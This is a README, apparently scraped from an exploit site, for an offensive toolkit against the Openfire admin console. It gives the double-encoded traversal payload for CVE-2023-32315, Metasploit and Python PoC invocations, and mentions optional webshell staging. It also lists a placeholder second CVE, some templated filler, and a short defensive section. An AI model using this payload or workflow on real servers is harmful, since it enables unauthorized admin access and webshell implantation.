## https://sploitus.com/exploit?id=B196F71E-455F-5647-9803-2210B2FD8F54
[]()
[]()
[]()
[]()
[]()
[]()
[]()
# Openfire Exploit Suite
#### **Openfire Exploit Suite** — A full-stack security testing toolkit (recon, PoC, Burp plugin, Metasploit modules) for identifying and exploiting Openfire admin console and setup weaknesses.
#### **Repository description (sidebar):**
#### Openfire Exploit Suite — recon, PoC, Burp plugin, and Metasploit modules for Openfire vulnerabilities. Open‑source and responsibly shared.
#### **Suggested GitHub Topics (tags):** Openfire • Exploit • Metasploit • Burp Extension • PoC • Security Tool • Responsible Disclosure • CVE-2023-32315 • Recon Tool
###
## 📘 Documentation
- [Exploit Workflow Guide](docs/Exploit_Workflow.md)
- [Module Integration Manual](docs/Module_Integration.md)
- [Recon Reporting Format](docs/Recon_Report_Format.md)
- [Security Policy](docs/SECURITY.md)
- [Contribution Guidelines](docs/CONTRIBUTING.md)
- [Changelog](docs/CHANGELOG.md)
- [Code of Conduct](docs/CODE_OF_CONDUCT.md)
## 🔥 Overview
**Openfire Exploit Suite** is a full-spectrum offensive toolkit targeting CVE-2023-32315 (Openfire Admin Console Auth Bypass) and a placeholder unauthenticated setup endpoint weakness (CVE-2023-XXXX). It provides an end-to-end exploit workflow including recon, PoC execution, Metasploit integration, and Burp Extender automation.
## 🧩 Modules
- **exploit-core/**: Python PoC exploiting unauthenticated access to the Openfire admin console.
- **metasploit-module/**: Custom Ruby exploit modules (admin bypass + setup POST).
- **burp-automation/**: Java-based Burp Suite Extender plugin (minimal, Java 17).
- **recon-tools/**: Bash toolkit chaining `nmap`, `ffuf`, and `nikto`, with auto-generated `.md` and `.html` reports.
## 🧠 Burp Extender Plugin (minimal)
Entry point class (required by Burp):
```
burp-automation/src/main/java/burp/BurpExtender.java
```
This class implements `IBurpExtender` and `IHttpListener` and logs basic request URLs. The packaged JAR intentionally includes only the entry class so that Burp’s own API types are used at runtime (avoids interface mismatches).
Build and load into Burp:
```bash
cd burp-automation
./gradlew clean build
jar tf build/libs/burp-automation.jar | sort # should list only: burp/BurpExtender.class (plus META-INF)
```
In Burp Suite: Extender → Extensions → Add → `build/libs/burp-automation.jar`
Expected output lines in Burp:
- `[BurpExtender] IHttpListener registered`
- `[HTTP] https://example/…` (for each intercepted request)
> Note: If you want to extend detection (e.g., reflected params, XSS/SQLi heuristics), add a separate `ExploitLogic` class and wire it from `processHttpMessage`, but keep the final JAR free of local interface classes.
## 🚀 CVE Targets
| CVE | Module / PoC | Technique | File |
|-----|--------------|-----------|------|
| CVE-2023-32315 | Admin Console Auth Bypass | Double-encoded path traversal | `metasploit-module/exploits/linux/http/openfire_admin_bypass.rb` |
| CVE-2023-XXXX (placeholder) | Unauth Setup POST | Residual setup endpoint parameter injection | `metasploit-module/exploits/linux/http/openfire_setup_unauth.rb` |
Traversal example:
```
/setup/setup-s/%252e%252e/%252e%252e/admin-login.jsp
```
## 🛠 Recon Flow
Run:
```bash
cd recon-tools
./run_recon.sh
```
Output:
- `nmap_full_scan.txt`
- `ffuf_results.html`
- `nikto_results.txt`
- `recon_report.md`, `recon_report_*.html`
## 🐍 Python PoC
```bash
python3 exploit-core/openfire_exploit.py --target http://:9090
```
Checks if the bypass URL is accessible and optionally stages a webshell uploader.
## 🩸 Metasploit Modules
Admin bypass:
```bash
use exploit/linux/http/openfire_admin_bypass
set RHOSTS
run
```
Unauth setup POST (parameter injection placeholder):
```bash
use exploit/linux/http/openfire_setup_unauth
set RHOSTS
set TARGETURI /setup/setup-someform.jsp # adjust if different
run
```
Both modules live under:
```
metasploit-module/exploits/linux/http/
```
If not copying into the core Metasploit tree, load the local path inside `msfconsole`:
```bash
loadpath /absolute/path/to/openfire-exploit-suite/metasploit-module/exploits
reload_all
```
## 📂 Git / Repository Slimming
The included `.gitignore` now excludes:
- Ruby / Bundler artifacts (`.bundle/`, `vendor/bundle/`, `*.gem`)
- Logs & temp (`log/`, `tmp/`, `coverage/`)
- Native build products (`*.o`, `*.so`, `*.dSYM/`)
- Ruby env files (`.ruby-version`, `.rbenv-vars`)
- IDE & build caches
Feel free to add large scan outputs (`output/*.txt` or `*.html`) if you want a leaner commit history; sample patterns are commented.
## 📣 Credits
Developed by Taka (2025) as a security research utility in response to active exploitation trends. MIT Licensed. Use responsibly.
## 📊 GitHub Pages
To view a rendered version of this documentation:
- [GitHub Pages: docs/index.md](docs/index.md) ← Mirror of key README content
- Hosting enabled via GitHub Pages > Settings > Pages > Source: `main /docs`
## 📸 Screenshots / Demo
Live demo recording with CLI + browser-based confirmation (Burp interaction, FFUF hits, webshell upload) coming soon.
- Suggest capturing GIFs via [asciinema.org](https://asciinema.org) or `peek` tool for animated command-line visuals.
## 🔐 Defensive Notes
For defenders and system administrators:
- Upgrade Openfire to **≥ 4.6.9** immediately.
- Disable or harden `/setup/` path in production deployments.
- Use WAF to block double-encoded traversal attempts.
- Monitor logs for unusual access to `admin-login.jsp` and lingering setup JSPs.
- Use Burp Collaborator or Canary Tokens to trace callback attempts.
## README Best Practices
This README is designed to:
- Provide an immediate project overview and quick setup instructions for new users.
- Link out to detailed documentation files (in `docs/`), avoiding walls of text.
- Meet open-source standards—clear, concise, and inviting for contribution.
Based on best practices from sources like FreeCodeCamp and Microsoft docs:
— Keep your README up to date and focused.
— Provide installation, usage, and contribution paths succinctly.
— Use badges, clear headers, and external links where needed.
([freecodecamp.org](https://www.freecodecamp.org/news/how-to-write-a-good-readme-file/)) ([appsmith.com](https://www.appsmith.com/blog/write-a-great-readme))